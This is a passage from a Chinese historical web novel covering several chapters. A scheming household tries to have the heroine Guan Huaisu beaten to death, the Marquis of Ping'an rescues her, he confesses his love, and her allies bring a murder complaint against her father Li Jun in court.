孙大娘子瞧着不成,心中发狠,膝行几步走过去,一把拉住李珺的手说:“夫君,今日你若是不决断,满娘被宝丫养着……那满娘的娘可是陈妈妈,当年老夫人对关娘子和关家人做的事情若是被查出来,咱们可还有活路?!” 孙大娘子挑明了一切,含泪看着李珺,说:“请夫君看在一大家子的份上,便体体面面地送走这丫头,对外只说是她孝心太过,大病随祖母去了,日后也是一桩佳话啊!这样老夫人的体面保证了,瑜哥儿和文哥儿的前程也无需担心了,再说了……” 孙大娘子压低声音说:“再说了,关家在永年县还有偌大家业,庄子田地变卖也好几千两,如今只要关家丫头不在了,关家没人能当事,自然都是咱家的!一出一进,便是瑜哥儿和文哥儿读书娶妻也够用了!” 说到这里,孙大娘子意识到自己太急切了,立刻收了狠厉之色,而是拿出帕子擦泪,哭着说:“老爷,我知道你是个读书人,一辈子最是清高,我又何尝忍心?可那孩子连祖母都敢下手毒杀,显然对家里人都十分怨憎,我怕啊,我怕她日后得了机会,若是有公主和县主撑腰,一不做二不休,到时候对瑜哥儿和文哥儿动手的话……” 说到这里,孙大娘子登时说不出话,泪湿衣襟。 李珺听到这里,再也无法自控,掩面对孙大娘子说:“你……把她体体面面地送走吧……” 说完,他似乎是耗尽了一切力气,瘫软在了榻上。 孙大娘子闻言,目露狂喜,面上却只是擦着眼泪,轻声应了句是,而后立刻转身出门,叫扶芳备好东西,一路往柴房而来。 她心中志得意满,到了柴房,开口便叫关怀素自己选择上路的方式。 而后她十分奇怪,看着关怀素,说:“关姑娘怎地似乎并不意外?” 关怀素当然不意外,事实上,她早就猜到了。 “我第一天来家里,就知道大娘子是个心思缜密的人物。”关怀素笑了笑,轻声说,“您等闲不会出手,出手便会一击毙命。尤其是在经过庞家两位姨母的教训之后,我知道您一定不会再留敌人翻身的机会。” 说到庞家两个表姐妹,孙大娘子就脸上起了煞气,她这十几年来,栽了两次大坑,一次是庞家表姐妹,一次就是周妈妈被赶走,失了管家权限。 而这两次,都是在关怀素来李家之后。 这会子关怀素主动提起,孙大娘子压着心惊,说:“你什么意思?当初那事儿你也有插手?” 如果这事儿是她的手笔,那这个关怀素也太令人忌惮,竟然能蛰伏在后面,安排这么大的一出戏! “其实后面还有,只可惜,我也是太小瞧您了。”关怀素看着她,摇头苦笑,说,“您前些日子还在说要给我找个婚配的好人家,实则那时候您已经在查我在京师的布置了,对吧?” 孙大娘子闻言,十分得意,轻笑一声,便是默认了。 关怀素看着她,突然叹气,说:“大娘子,您以前不都是不亲自下杀手的吗?这次怎地如此急躁,又是亲自出面劝李珺杀我,又是亲自来督办……您不怕日后李珺回想起来,觉得你这个人阴毒狠辣吗?你比我了解他,应当知道他这人虽然要占尽好处,但是事后可要嫌弃你双手不干净的呀。” 这话扎中了孙大娘子的心,她面色立刻冷下来,冷笑一声说:“那时候关姑娘也看不到了,真是可惜了。” “我不可惜,我可惜你。”关怀素叹了口气,说,“大娘子如此聪慧,当年怎地选了又选,却选中了一个最虚伪的伪君子?难道当年,你也是听说了他对妻子如何情深,待妾室如何疼爱……所以你那时候天真地以为,你也会得到他真心的爱重?” “你放肆!”孙大娘子指着关怀素破口大骂! “我猜中了?”关怀素却是一愣,她不过是拖延时间在胡说,可孙大娘子如此反应,反而叫关怀素一震!而后关怀素猛地大笑出声,说,“天啊,你如此百般算计,看中他温柔真情,结果嫁进来才知道他是个吃着妻子嫁妆、答应妻子不纳二色却又轻易违誓、在妻子有孕想和离之时却又死缠烂打,最后吃了绝户财却不敢面对长女的人渣,你是什么感觉?” 看孙大娘子涨红了脸如猪肝色,关怀素笑着盯着她说:“你什么都不敢做,你也不敢恨他,你只能暗中领会他想要的东西,而后出主意替他拿到手,从而换取他的青睐,好在这个家里生儿育女、站稳脚跟。” “你胡说!”孙大娘子怒声呵斥,“你是临死还在胡言乱语!” “我胡说什么?你当年刚嫁到李家,若不是你聪明,了解李珺和老夫人的想法,你怎么会突然想对关家人动手?就和现在一样,你若不是明白,我牵扯的事情太多,李珺定然也对我动了杀意,你怎会突然那么急躁对我动手?”关怀素大笑一声,说,“你可以说服自己是为了利益,你和你的儿女也可以分到很多东西,但是你骗不了我,也骗不了自己,你竟然是真心爱慕李珺!” “你住口!”孙大娘子尖叫! “你爱慕李珺,所以你为他出谋划策,甚至愿意这种时候帮他诛杀亲女儿!”关怀素却大声说,“他是个伪君子,临到这个时候都不敢面对我,他不敢承认自己做了什么,他不敢承认他是个忘恩负义、杀亲夺财的小人!所以你替他说话,你替他来了!可是他根本不会爱你,他怎么不叫崔妙人来?因为他真有一丝喜欢崔妙人,疼爱她,所以他不会让崔妙人去当这种杀人工具!” “你住口!扶芳,去,勒死她!”孙大娘子被刺激得发狂,厉声吩咐! 扶芳已经冲上去,和婆子拿着丝帛就往关怀素头顶上套! “谁敢动我!”关怀素眼神一厉,一脚踢飞了扶芳! “她会功夫!快,叫家丁来!”扶芳惊讶痛呼,而后立刻招呼。 家丁们围了上来,人多势众,柳叶会些手脚,挡在前面,但是关怀素身上受了伤,加上在家没防备,身上迷药和匕首都没带,柳叶护不住,没几下就中了几棍子,登时就吐出一口血来! “姑娘!”柳叶看的心中一急,被人抓住空隙,一棍子狠狠地打在头上,当场流血! 柳叶登时发了狠,发疯地躲过家丁的棍子,使出了真本事,瞬间踢飞了几个人。 “她竟然会武?!”孙大娘子惊得不行,立刻怒声说,“去把家里会拳脚的下人全部叫来,我今儿耗也要耗死她们!” 一群家丁飞快地冲进来,柳叶护着关怀素想往外冲,但是家丁太多,到了前院,关怀素已经到了极限。 “柳叶,你快走!”关怀素眼见着自己体力不支,立刻对柳叶吩咐。 柳叶立刻说:“我不要!” “柳叶,你听话!”关怀素眼见着自己实在是支持不住,一用巧劲儿,把柳叶往前猛地一推,自己回身,挡住了家丁。 她虽自小学防身功夫,但是到底不如柳叶专门日日苦练,此刻背后的伤又渗出血,现在眼前也一阵阵发黑。 关怀素知道自己走到绝路,惨笑一声,突然大吼:“李珺,这么大的动静,你还假装不知道吗?” “你闭嘴!”孙大娘子看着她要熬不住,立刻从廊下出来,指着关怀素说:“快,拿下她,活活打死!” 家丁们得了吩咐,立刻大声应是,而后一群人拿着棍子,趁着关怀素再也支撑不住,立刻就是重重一棍子敲在头上! 关怀素瞬间懵了,整个人重重跌在地上。 下一刻回过神来,却已经被劈头盖脸地重重地打在身上。 “姑娘!”柳叶目眦欲裂,想冲过来,却被人围住,根本没办法过来。 “李珺!你杀亲夺财,不得好死!”关怀素呕出一口血,却还是竭力嘶吼,仿佛怨鬼一般,她大吼,“我死后也要日日诅咒你,哪怕去了地府,我也会回来找你报仇!” 屋子里点着灯,大雨如瀑,这声音依然凄厉无比,响彻前院。 可屋里没有任何动静,仿佛不知道外面的动静一般。 “打死!”孙大娘子怒声吩咐! 关怀素回头看柳叶,她如今唯一牵挂的就是她一个人。 “快走……”关怀素无声地开口,棍子一棍棍地砸下来,她又呕出一口血,再也没有一丝力气。 柳叶发狠,一把抓住身边家丁,死死绞住,目眦欲裂大吼:“好,老子死也要拉个垫背的!姑娘你等我一起上路!” 家丁们疯狂殴打柳叶,叫她也呕出血来,可是她却瞪大眼睛,死都不肯放手。 就在三人要一起死的时候,李家大门口却突然传来门房的声音:“天色已经这么黑了,家里主人都……哎呀!哎呀有人闯进来了!” 李家的大门被重重砸开! 周乐天带着来福冲进李家,直接冲到前院,便看到了关怀素和她那贴身丫鬟都被围着殴打。 地上是暴雨都来不及冲刷干净的血迹,刺的周乐天双眼发红。 孙大娘子没看清人,大吼:“谁人敢擅闯朝廷命官家里,给我打死!” 今日的事情绝对不能传出去! 她吩咐着,家丁们冲上来,来福没有留手,直接一脚一个,踢到了墙边,大吼:“我看谁敢对平安侯动手!” 家丁听到这里,都惊得不敢动手,左顾右盼。 孙大娘子这才顺着廊下的灯光,看到了满身湿透、仿佛水鬼一般脸色难看的周乐天。 竟真是平安侯! 平安侯怎地在这里! 孙大娘子意识到糟糕了,她立刻蹲身行礼,大声说:“见过平安侯,不知侯爷夜半来访,所为何事?” 关怀素在迷糊之中,突然听到了周乐天的名字。 她茫然地抬头看过去,竟真的在恍惚之中看到了周乐天。 他全身都湿透了,从门口走过来,蹲在她的面前。 而后,关怀素感觉到自己被抱了起来,她迷迷糊糊地,以为自己在做梦。 但是临死的时候,竟还能再见到周乐天一面,关怀素觉得,也是个意外之喜。 她看了周乐天一眼,而后彻底地陷入了昏迷。 “侯爷——”看着周乐天抱起地上的关怀素,而柳叶居然也趁机跌跌撞撞地跟在周乐天身后,孙大娘子鼓起勇气,抖着嗓子说,“侯爷,这是我们家里的事情,还请侯爷不要插手。” 周乐天回头看孙大娘子,他自回京之后,一直是病歪歪的样子,从未如此杀气毕现过。 “如果怀素死了,我要你全家性命。”周乐天恨到极致,反而平静,只冷声说完这句话,转身抱着关怀素离开。 孙大娘子被周乐天毫不掩饰的杀意惊得跌坐在地,满背都是冷汗。 “平安侯请留步!”就在周乐天要离开的时候,一直紧闭的房门突然打开了,李珺站在门内拱手,对周乐天说,“平安侯,此女冒充我的女儿,寄居我家,且毒害我母亲,请您高抬贵手,不要带走此人。” 周乐天回头看李珺,神色复杂,而后摇头说:“李大人,当年您也是京师人人称赞的玉面郎君,您打马游街、折花回宫的场面,京师人人称道了十来年。” 李珺面皮发紧,愈发严肃,拱手说:“侯爷若是想叙旧,那么日后我定备好酒席与侯爷把酒言欢。” “我只是在叹息,当年关娘子若知道你会这么对她的一双女儿,会不会在九泉之下,都后悔自己当年瞎了眼!”周乐天冷冷地看着李珺,说,“我原以为李大人只是偏安懦弱,如今看起来,李大人不过是道貌岸然的衣冠禽兽!” 说完,周乐天转身就走,只留下一句:“李大人想如何,都冲着我来,关姑娘我带走了!” 说完,他转身就走,不顾身后的李珺脸色黑成了锅底。 “老爷,怎么办?”孙大娘子看着周乐天走了,这才缓过气来,颤声问李珺,说,“这事儿真要闹到大长公主面前了……” “备马车,我去老师府里拜访。”李珺脸色也黑如锅底,咬牙说。 第一百四十一章 初通心意 “小事。”青衫圆领袍的清癯老者放下浇花的花壶,转过身来。 此人便是李珺的恩师,王相王寻。 他看着一派儒雅端方,君子气派,说话也是慢条斯理,成竹在胸:“你家妾室恃宠而骄、家里夫人善妒苛待嫡女罢了,你最多落个治家不严的名声,何必如此惶然不安,失了分寸?” “可平安侯今儿从我家里把那逆女带走,大长公主必然会知道此事。”李珺不安地说:“公主若是追查起来,到时候就不好说了。” 这里头还有人命,李珺怎能不担心。 王相摇头,坐在棋盘前,对着残局琢磨,漫不经心地说:“子君你多虑了,平安侯从你家带走人,便是与你那大女儿私下有了苟且。他们二人如此,平安侯和大长公主再如何站出来说话,都不可信。” 抬眼,看李珺还是茫然,王寻缓声说:“子君,这时候不是防的时候,此时你当主动出击,把平安侯从你家劫走大女儿的事情宣扬出去,明白吗?” 李珺一个激灵,而后紧张地说:“可是老师,若是惹怒大长公主,细查当年之事……” “当年之事细查到底,也不过是你对后宅疏于管教。”王相看着李珺,轻声说,“子君,男人在外办事,于后宅顾不上,也是难免的,谁能苛责与你?” 李珺一下子明白过来,面露踟蹰之色。 王相垂眸,捏着棋子,看着棋盘说:“刚来的急报,狄夷卷土重来,已到西北关外,眼见着西北边境又有危险,圣人今儿连夜招了大长公主进宫,大长公主近来顾不上小事。” 李珺闻言大喜,立刻说:“平安侯身子也不好,暴雨之后定然虚弱,老师,我这就回去办事,先把此事宣扬出去!” 王相颔首,看李珺急匆匆离开,把手上的棋子放在了心仪的位置。 李珺一走,屏风后就走出一个阔脸男人,正是王相的小儿子王佐,如今也在朝中为官,只是一直官身不显,不过是五品,在礼部混个闲职。 李珺来之前,他便在和父亲商议事情,这时候听完全程,王佐就皱眉说:“父亲,李珺这时候出事,不会影响到我们吧?” “出不了大事。倒是伺候过李家老夫人的那几个下人,叫人去解决了,别牵出以前的事情。”王相摇头,轻描淡写地吩咐完,便对小儿子说:“老二,你妹妹一个人在太子府里,她缺什么,你别心疼,都给她送过去,如今是紧要时候。” “儿子省的。”说到这里,王佐偷看一下父亲的脸色,才轻声说:“父亲,若是赵家的生了儿子,小妹那边又行事不顺,我们当如何是好?” 王相闻言,笑了一下,对王佐说:“你啊,沉不住气。” 看王佐垂头领训,王相看着屋里那盆半枯半荣的梅花,轻声说:“做人做事都要像养花一样,要耐心浇水,细心修剪,自然可以养出自己喜欢的样子。不要着急,去办吧。” 王佐只能应了一声,自出去安排事情,王寻捏着棋子,又开始琢磨起残局来。 李珺的奔波安排,关怀素一无所知。 她只感觉到昏昏沉沉之中,闹哄哄了一阵,等到再次清醒过来,已经到了第二日的中午。 睁开眼睛的时候,就看到床头有个人趴着。 满头乱发披散在床边,身上的浅蓝色大袖真丝衫皱巴巴的,听到她的动静,这人抬起头来,露出一张雪似的脸。 “平安侯,你、你怎地在这里?”关怀素一看到周乐天,立刻想起身,结果却不知牵到了哪处伤口,疼的当即倒抽一口冷气。 “你别动。”周乐天的声音嘶哑,轻声说,“你内伤很重,大夫说起码要静养半个月,你昨儿呕了几次血……” 说到最后几个字,周乐天鼻子发酸,心中十分心疼。 关怀素却完全误会了。 她以为昨儿那么闹一场,这会子周乐天已经知道了姐姐去世的消息,所以才如此悲怆,于是心中愧悔难言,轻声说:“对不起。” 周乐天愣住,不明所以地说:“你受了伤,为何要道歉?” “侯爷知道我姐姐去世之事了吧?”关怀素垂下睫毛,不知为何眼睛有些发热,她鼻子发酸,轻声说,“对不起,当时我不敢跟您直言我的身份,所以才会说那些话……” 周乐天完全迷惑了,他试图弄明白关怀素在说什么,轻声说:“怀素姑娘,你在说什么?当初什么话?” 关怀素以为他还在计较,便叹了口气,苦笑说:“当初侯爷对我姐姐剖明心迹,我不敢暴露身份,只能那般说,对不起。” 周乐天瞬间脑子打结,懵了许久。 而后他突然意识到了什么,在遭到关怀素拒绝之后,一直苦涩至极的心脏猛地在这一刻,突然狂跳起来! 周乐天不敢太过欢喜,生怕自己是想太多了,他压住自己的心口,按捺住自己的期盼,颤声说:“怀素姑娘,你是否误解了什么?我、我一直知道你的身份啊。” “啊?”关怀素愣住了,惊讶地看着周乐天,问,“什么?!” “是、是这样的,姑娘可能不知道,你姐姐的后脖子上,有一颗红痣……啊!不是我孟浪,是那日她跌倒时不小心露出来的,我立刻就上前挡住了!”周乐天说到一半,发现自己说的话太让人遐思,立刻解释,而后才小心地看着她说,“当日我们一起在我书房里,我们交手的时候,我发现你手中有刀,又看到你的后脖子,心中起疑,我便立刻叫人去了八仙庄调查……” 关怀素反手,一把捂住自己的脖子,先是惊疑,而后随着她理解周乐天的意思,登时也突然反应过来。 但是关怀素也不敢置信,她看着周乐天,惊疑不定地说:“侯爷当日说的那些话,难道、难道……” “在下一直是对怀素姑娘说的啊!”周乐天听到这里,这会子终于慢慢彻底反应过来了,原来、原来她一直误会了,误会自己认错了人,一直是对李婉玉有意! 周乐天心中涌起绝处逢生的狂喜,他一点不敢耽搁,立刻说:“怀素姑娘,我今年冬日就要及冠,若是我心悦的是你的姐姐,我在几年前就可以直接开口,何须等到今时今日?” 关怀素有些茫然,她摸了摸自己的脸,看着周乐天,说:“可是,我姐姐长得一模一样,你明明也是先认识姐姐……” “我心悦怀素姑娘,是因为你会和我一起走在淤泥里、为百姓开水道,因为你性子阔达坚韧、杀伐果断。”周乐天看着关怀素,轻声说,“怀素姑娘,外表对于我而言,是世界上最不重要的东西。哪怕你貌若无盐,只要你是那个急百姓性命、便能冒着身份败露的危险来帮忙的怀素姑娘,我就永远会心悦这样的灵魂。” 关怀素听到这里,看着周乐天认真的神色,到了这个时候,才终于意识到了,周乐天说的是真话。 周乐天在对她剖白心迹,他喜欢的是自己。 当日荷花宴上,他说的那句“我心悦姑娘。”,是说给她听的。 关怀素觉得心脏突然震荡的受不住,她感觉到了脸上也终于开始发烫,虚弱发冷的身体都有些回温。 她看着周乐天,一时竟不知说什么。 周乐天却误会了她的意思,并指为誓,说:“我对天发誓,若是我有一字虚假,便叫我天打雷劈!” “不要!”关怀素立刻抓住他的手,说,“不许胡说!” 周乐天立刻反手握住她的手,轻声说:“我说的都是真的,自然敢发誓。” “我信你。”关怀素看着他,脸上发红,有些无奈地说,“我信你不那么在乎容貌,毕竟您若是想看美人,自己照镜子就是。可是我若是貌若无盐,那侯爷你也必然是害怕的,这誓言不要乱发。” 周乐天一腔辩白,没想到她说出这样的话,登时一下子笑出声来,轻声说:“好吧,你说的是,是我夸张了。不过在我心中,怀素姑娘才是天底下最最好看的女子。” 二人说到这里,看着对方,一时脸上都泛起绯红。 就在这个时候,外头传来柳叶的声音,喜悦地大声说:“姑娘,姑娘他们说你醒了?” 关怀素像是被烫到一样,立刻放开周乐天的手。 柳叶从外头进来,一进门看到周乐天,愣了一下,立刻行礼问安。 “无事,你是关老师养大的柳叶对吧?”周乐天温柔地笑着说,“我知道你自小和怀素如姐妹一般,之前是掩人耳目,到了自家这里,就当和在自己家一样,无需计较这些繁琐礼节。” 柳叶一愣,有些惊慌地看关怀素,看到关怀素点点头,这才放松下来,还是拱手说:“多谢侯爷昨日救命之恩,若不是您,我和姑娘昨儿必死无疑了!” 说到这里,周乐天想到昨日惊险,脸上也有了煞气,就说:“李珺怎地有这么大的胆子,竟敢如此对你?” 关怀素还没答话,外头来福进来了,说:“爷,关姑娘,县主来了。” 第一百四十二章 沸沸扬扬 程娘子今日中午回城,便听管家说昨儿个李家有个自称宁小娘的来府里,说是大姑娘找她有事。 程娘子瞬间觉得不对,她知道宁小娘这个人,素日与李婉玉的关系最好,也是李家唯一的知心人。 最重要的是,作为李家的小娘,宁小娘素日是不会随意出门的,而且玉儿有事都是自己来找,什么时候会托付给程娘子都没见过的人? 程娘子当下也不休息了,立刻追问是怎么回事,结果还没说几句,就看到陈松脸色发黑地回来了。 昨儿个饮宴休息在城外,今儿个为了上值,陈松一大早就先回了京师,这会子突然回来,程娘子就愣了一下,问:“出什么事情了?怎地突然回来了,不是今儿个当值么?” “李家昨儿出了大事,李珺的老娘毒发身亡,传出来消息,说是玉儿下毒,李珺在家用家法审问玉儿,结果平安侯夜闯李家,抱着玉儿离开,回了公主府!”陈松几乎一口气说了平日一天的话,说,“如今都传到我耳朵里了,我想着满京师只怕都知道了!” “什么?不可能!”程娘子登时怒了,说,“玉儿不可能做这样的事情!” “当然不可能!”陈松也十分笃定地说,“但是李珺敢叫这件事传出来,我就怕他手上是不是有什么证据,我赶紧回来,就是告诉你快点想办法去见见玉儿,看看到底是个什么情况,我们要如何使力才成!” 这便是程娘子匆匆到公主府来拜访的原因。 周乐天自然不可能拦着人,马上叫来福把人请进来。 一进门程娘子看到关怀素面无人色地歪在床上,登时就眼泪一下子下来了,抓着关怀素的手说:“怎么回事,不是说只动了家法么,怎么瞧着伤的这般厉害??” “我呸!昨儿个不是侯爷,姑娘就要被活活打死了!如今都只能这么侧撑着,因为后背上全是伤!”柳叶闻言,立刻发怒地说,“李珺就是想杀人灭口!” 程娘子一听,愤怒又不解:“到底是怎么回事,怎地就要到了杀人灭口这一步了?” 关怀素立刻便抓着程娘子的手,还没说话,眼圈就红了,说:“姨母,先跟您赔罪,我、我原不是李婉玉。” 这一句话,把程娘子惊得差点没坐稳。 而后关怀素和柳叶便把前后的事情都说了,也说清楚了昨儿个突然为何闹得如此严重,以及为何李珺会想着杀人灭口。 “他一家都是吃素问的嫁妆,竟还把玉儿折磨死了!”程娘子不敢置信,瞪大眼睛看着关怀素,而后从关怀素的表情里回想起了这一年多的事情。 程娘子的眼泪一下子就下来了。 她登时明白了,她颤巍巍地说:“所以庄子上,玉儿就已经不在了,回来的是你,所以你才会、才会性子一下子变了,玉儿死了,玉儿不在了……” 她说到这里,悲伤不可遏制,登时哭得不能自已。 关怀素也跟着哭起来,周乐天瞧着不对,立刻安慰,说:“姨母,此时不是哭的时候,李珺如今放出这些消息,是想害死怀素啊!” “对、对!”程娘子登时清醒过来,李婉玉已经死了,但是好在素问还有怀素这条血脉,这还是关伯伯自小培养的孩子,她拼死也要替关家留下这条血脉! 想到这里,程娘子眼神凶狠,说:“他如今手上拿住了哪些下人,可都靠得住?” 这是问到要紧地方了,关怀素闻言也是担心地说:“我院子里头的丁妈妈,还有孔妈妈,还有八仙庄的王妈妈一家和孔妈妈的女儿青黛……” “无事,昨儿晚上柳叶跟我说了,我连夜就派人过去处理,迟些晚上估计就能回来了。”周乐天立刻说。 “如此便好。”关怀素重重地松口气,然后倒回厚厚的被褥上侧歪着,轻声说,“只要青黛一家不叫人拿住,孔妈妈便不会胡说什么。” “但是下毒的事情,如何洗刷你的冤屈啊怀素?”程娘子有些担心地说,“圣人以孝治国,若是无法洗清此事,说破天也无法避开这场祸事啊!” 关怀素倒是已经想清楚了,她冷声说:“背后之人如此设计,事发突然,我短时间是没办法找到证据了,唯一的办法,是闵叔叔快些回京。” 说着,关怀素说了自己调查出母亲遗物里的约定,而后说:“我已经给闵叔叔传信,姐姐的死因我已经查得十分清楚,那帮下毒之人我上回托姨母去羁押回来了。” 程娘子点头,含泪说:“你放心,算日子,过几日也该到了。” 关怀素便点头,说:“先钉死崔妙人杀人之罪,再牵扯到老夫人,等闵叔叔回来,母亲当年约定提出来,此事牵扯如此多,便要慢慢调查了,只要有时间,我相信我能让崔妙人站出来说清楚。” 正说话之间,来福愤怒进门说:“爷,县主、姑娘,方才去八仙庄附近接应的兄弟们回来了,说昨晚大暴雨,他们半夜到的时候,正好撞上一拨杀手,训练有素,进了村子就动手杀人,兄弟们当时立刻动手,结果还是死了几个乡亲。” “噗——”关怀素一听,登时又惊又怒,当即呕出一口血来! “怀素!”程娘子和周乐天登时都急地上前,程娘子一把抱住关怀素,扶着她顺气,哭着说,“你别伤心,你这时候不能伤身子!快些叫人送药来!” 周乐天立刻从柜子里取出一盒药,倒出一粒,说:“昨儿个太医开的养气丸,太医说这回伤的太重,累及肺腑,这几日千万不能动气!你快些放心,我一定叫人替他们报仇!” 最后这句话却是对关怀素说的。 “姑娘,你若是出事,只怕还要死更多的人!你一定要振作起来,不然跟着你的人只怕都要死!”柳叶和她一起长大,最是知道关怀素的性子,看她伤心惊怒,立刻上前哭着大声说,“还有我,我怕是也活不了了!” 关怀素呕出一口血,差点昏过去,听到柳叶这番话,愣生生地一口含下药,半晌才慢慢平稳住了气血。 她彻底冷静下来,不敢再浪费时间伤心,问来福:“宝丫和王妈妈、满娘可有事?” “都护送回来了,只是满娘那小儿子年岁太小,受惊加上昨夜淋雨,半夜回来就高热了。”来福小心地回到这里,吞吐一下,轻声说,“到了现在还没退烧,太医说,只怕、只怕是不中用了……” 关怀素听到这里,立刻要起身。 满屋的人都阻止,关怀素却摇头,说:“我要去看看。” 大家拗不过她,便带着她去了满娘与王妈妈她们所在的院子。 进门一看,满屋的人都在这里,男女老少都是一脸惊恐惶然的样子。 满娘抱着孩子,木着脸在垂泪。 关怀素走过去,到了面前一看,吓得差点没站稳,那小孩竟是已经没气了。 “我、我……”关怀素泪一下子下来了,对着满娘说,“是我害了你们……” “怀素姑娘,不是你!”谁知道本来木呆呆的满娘突然浑身一个哆嗦,眼泪喷涌而出,跪下说,“是李家,是李家派的人害我的孩儿!他们先是把我从庄子上赶走,又派人来杀我们!若不是姑娘你派宝丫姑娘接济,我几个月前就死了!姑娘,求姑娘为我们报仇!” 说着,满娘哭着给关怀素磕头。 “姑娘,求姑娘为我们做主!否则我们有家不能回,日后也不知如何是好了!”宝丫当先也拉着她男人跪下! 这一屋子人登时就像是找到主心骨一样,都跪下来哭着说:“姑娘,求姑娘为我们做主!” 关怀素还以为会受到仇恨和责骂,却没想到大家竟都不怪她,一时感动地流泪,忙扶着满娘和宝丫起来,哭着说,“昨儿个事发突然,却没想到李家竟干得出杀人的勾当,这可是天子脚下!他们实在是太过狠辣了!” 说到这里,关怀素已经有了主意,对宝丫和满娘说:“既然李家不给你们活路,你们可敢出面,直接状告李家?如此,至少叫你们被满京师注意,李家目前不敢随意动你们!” “我们敢!”宝丫立刻出面,说,“姑娘,我们能出面!” 关怀素立刻点头,看向程娘子。 “放心,这事儿我来,我去递帖子,保管不叫他们在府衙里有事!”程娘子立刻点头,说,“是要把这事儿闹大,否则李家在暗,他们这么多人,除非不出门,不然总防备不住的,闹大了,全京师都看着,想来李家也不敢轻举妄动。” 如此商定好,宝丫便与满娘擦干眼泪,准备收拾一下立刻出发。 王妈妈上前对关怀素说:“姑娘,我听府上的人说,姑娘被冤枉给祖母下毒?” 关怀素点头,羞愧地轻声说:“事出突然,连累你们了。” 王妈妈却摇头,然后对关怀素说:“姑娘,这事儿我知晓一个办法,虽不能解了姑娘燃眉之急,但是却能与李家暂时缠磨住。” “妈妈你只管说,若是能把事情办好,我保准你一家平安无事,日后一辈子高枕无忧!”周乐天闻言,立刻开口! 王妈妈闻言大喜,立刻说:“其实我也可以出面作证,是老夫人身边的严妈妈勾结外人,给老夫人下毒!” 说完王妈妈对关怀素说:“姑娘不知道,严妈妈那儿子前不久突然在京师外城买了一处小宅子,虽是不大,但是前后花了快一千两,她那儿子是个烂赌鬼,怎么可能挣出这么一笔钱!这前后账怎么都算不平!我虽不知道她到底哪里来的钱财,但是只要牵扯这个不放,好歹要查她家,也能给姑娘拖延一下时间,叫姑娘有时间想办法!” 周乐天闻言,心中大喜,看向关怀素说:“我去给孙府尹递个帖子,叫他不许用刑,便叫他们去查,只要拖到闵大人回京,此事便好说了!” 关怀素闻言也是眼睛一亮,立刻说:“只需要再给我个半个月时间,此事便好对付了!” 如此,此事便就此定下! 程娘子当即便大张旗鼓地带着满娘她们,一路在京师绕了一大圈,满娘她们都没换昨儿晚上逃跑的衣衫,满娘怀里还抱着死去的幺儿,一群人一边走一边哭得震天响,登时吸引得全京师的闲汉都跟着走,想看看出了什么大事。 到了京师府衙门口,程娘子就出来,高声喊:“李家杀害百姓,杀人灭口,我来带无辜百姓报官!” 此话一出,登时衙门口全部沸腾了! 第一百四十三章 状告李家 天子脚下,出了杀害无辜百姓的事情,孙府尹当场升堂。 满娘抱着断气的幺儿当堂跪下,哭嚎自己是李家奴仆,家里母亲犯错,自己因被家里大姑娘怜悯收留,结果昨日不知为何,突然就被杀手追杀! “大人,这满娘乃是李家老爷原先在的时候的血脉,只是李家那老夫人善妒,所以把她以仆婢之子的名义养大!”程娘子开口就又爆了李家一个密辛,这事儿便是满娘自己都不知道! 满娘震惊地瞪大眼睛,程娘子说:“前不久老夫人知道此事,心中妒恨,让下人把满娘赶走,她身无分文流浪到八仙庄附近的村庄,叫我那侄女的下人知道,想着都是一起长大的姐妹,便自作主张收留了满娘母子。” 程娘子说完,愤怒地说:“谁知道昨儿个李家老夫人突然中毒身亡,李珺查也不查,便把此事扣在我那侄女身上,逼迫家里仆役作证不说,还连夜派人去谋害老夫人身边妈妈的家里人,应该是想着死无对证!请府尹为我们做主!” 说到这里,外头的百姓听着都惊呆了! 李珺一直名声很好,他当年是探花郎,又娶了关老爷子唯一的女儿,夫妻恩爱不说,多年还为亡妻上香,续娶妻子都是穿着银红入门……如此种种,在京师百姓之中,是个极其重情的清官。 所以之前关怀素回京闹得那么大,他只稍微安排,便叫流言散了。 这会子再听到这些,百姓们登时都愣住了。 “不可能吧!据说李大人最偏爱这个长女,怎会无缘无故冤枉长女给祖母下毒,这可是大罪啊!”当场外头就有闲汉说。 “是啊,当年李大人为了给关娘子求药,跪在王相门口,当场拜王相为师,这事儿我们还记得呢!”还有人说。 “就是啊,如今李家大娘子,当初进门时候据说还给关娘子执妾室礼呢!李大人如此爱重关娘子,又是最疼这个大女儿的,怎会无缘无故冤枉她?”立刻便有人附和。 没办法,在普通人眼中,李珺的名声极好,而程娘子哪怕是成了县主,也是个去过教坊司的女人,这帮人开始就心中有了偏向。 程娘子早已经习惯了,这时候也不理这帮人,只拱手对孙府尹说:“府尹大人,人证物证都在此处,还请大人秉公办理!” “当然!立刻传话,请李大人前来!”孙府尹也就是孙丽娘的爹,他官位小并不能做什么,但是这种时候,当然不会给李珺遮掩,立刻吩咐去叫人,并客气地请程娘子落座说话。 程娘子坐下,周围闲汉也不散,一群人生生等了大半个时辰,便见到李珺脸色黑如锅底地来了。 李珺昨儿忙到半夜,所有的事情都透露出去了。 亲朋好友来吊丧忙碌不多说,方才赵家又催着提前婚期,实在是赵二郎那妾室肚子太大,临盆,怎么经得住婉淑守孝? 于是赵夫人上门,与李珺商议之后,把婚期提到了五日之后。 李珺当场就应下了。 在李珺看起来,此事赶上热孝,让婉淑守孝三年,还不知到时候是什么变动,赶紧嫁过去才是正经事。 可婉淑平素懂事,今儿个却又哭又闹,只说:“提前又提前,我一辈子的大事,竟弄得赶场子一般!” “你要不愿意,就别嫁,我养你一世也成!”李珺气得拍桌时,衙门来人了,说是昔日下人状告他杀人害命。 李珺登时莫名其妙,他压根就没干过这事儿,怎会无事去杀那帮下人? 于是他也是带着怒气来的府衙,进门看到满娘还有她怀里死去的孩子,李珺心里就是一咯噔。 这样子,不像是陷害,倒像是真的确实被追杀的样子。 而且还死了个孩子,满娘再怎么也不会拿自己的骨肉干这种事情,她若是如此果决的性子,也不会被身无分文地赶出自个儿的庄子。 是平安侯和县主在做局,想陷害他! 李珺瞬间就觉得自己发现了真相! 想到这里,李珺勃然大怒,进了大堂劈头盖脸就说:“县主,你虽身份高贵,但也不能为了包庇婉玉,就拿人命污蔑我!” 程娘子自听到李婉玉的死因,原本对李珺只是不喜,到现在已经算是仇人相见分外眼红。 听到李珺这么说,程娘子立刻冷笑一声,说:“李大人一进来就反咬一口,真不愧是朝廷栋梁!” 这句话气得李珺勃然大怒,立刻说:“县主,你许是不知道,我那不成器的大女儿给祖母下毒,导致祖母惨死,家里的下人都可以为证!你无论如何包庇她,此事都不可能就此过去!” 外头的闲汉们登时哗声一片,震撼居然有人居然敢毒害长辈,该死之类。 